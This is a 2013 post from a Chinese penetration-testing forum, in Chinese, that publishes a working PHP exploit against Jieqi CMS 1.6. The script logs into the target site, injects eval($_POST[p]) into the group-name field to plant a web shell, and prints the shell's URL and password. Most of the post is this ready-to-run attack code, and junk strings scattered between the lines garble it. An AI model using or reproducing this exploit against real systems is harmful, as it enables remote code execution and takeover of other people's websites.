中国网络渗透测试联盟
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
[打印本页]
作者:
admin
时间:
2013-2-23 11:28
标题:
Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
, A( E- W) }4 S1 h3 V/ {4 l
. G# x0 O& v1 X4 v
* Z/ L+ v7 j6 S4 H5 q- y% G% W
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
+ x5 S- c2 B7 R4 t, z
需要有一个能创建圈子的用户。
8 D; Q5 S9 a( e4 w& j
+ X/ f. s5 T1 u
<?php
. e& w. p4 F& k& m
* ?. O, j0 q. L; B9 r$ q( v! I
print_r('
$ E# @; N7 v$ }4 R
+---------------------------------------------------------------------------+
' H' R4 z* H" l" l
Jieqi CMS V1.6 PHP Code Injection Exploit
, ?/ O+ p, l( E! D$ ] o1 p
by flyh4t
+ o4 g1 |8 {+ e8 l9 j
mail: phpsec at hotmail dot com
4 l" z* J2 O6 C( q1 k9 K
team:
http://www.wolvez.org
! H: O- ]$ F- S$ b% Q, B
+---------------------------------------------------------------------------+
& I# d, p: ~& F, W" X$ l# Y6 O
'); /**
2 w) q# `& D0 S2 b( n, V
* works regardless of php.ini settings
' @ L% m/ D6 Y8 M
*/ if ($argc < 5) { print_r('
0 j% F( A& u/ Z( R
+---------------------------------------------------------------------------+
7 s8 t' h$ e5 d% W% F- T7 y+ g
Usage: php '.$argv[0].' host path username
' E$ d: T( f8 v# h+ A2 A
host: target server (ip/hostname)
, \2 i1 h1 n/ R8 H: F$ G1 R
path: path to jieqicms
( {/ R( u0 v! T/ P% I0 l) [5 l. u
uasename: a username who can create group
/ ^. R7 { l* [- q- [
Example:
& o1 C% h; C5 Z3 G. d1 \
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
6 ], t' K& N) N( e4 E* `7 k
+---------------------------------------------------------------------------+
: k% a5 C2 b' b* s; x3 |
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
% l- \+ @. a" \! l, p
Content-Disposition: form-data; name="gname"
' `$ f& p ~5 E5 w' G
8 H! ~% T; [3 k& l) g
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
" C, S: E, ^1 T. N6 n
-----------------------------23281168279961
1 Y5 @% a D" r) f
Content-Disposition: form-data; name="gcatid"
' {# U) l4 D- W$ H; d. O9 y \; A
! V h. E8 M' B! F5 [) \
1
( X& L9 ]" J' ^# R! S
-----------------------------23281168279961
4 `& e( C' ^! b* t/ D6 W$ i
Content-Disposition: form-data; name="gaudit"
1 D; R* U" Q$ _1 l% ?3 H# f1 u
9 L' t3 n" A* T
1
( K, U- T0 ?& W
-----------------------------23281168279961
O( c' i9 I9 T+ _
Content-Disposition: form-data; name="gbrief"
\& L4 G9 c# o2 J1 ~
3 k; h3 W: c i/ J& l
1
6 t, o" Z& D( m" W& i
-----------------------------23281168279961--
9 L- ?! @! B+ u- r
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean();
www.2cto.com
* e0 W* ~8 A T% \. O7 K o% v9 x" I
2 y/ ^7 L4 P0 e7 X9 }; U
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2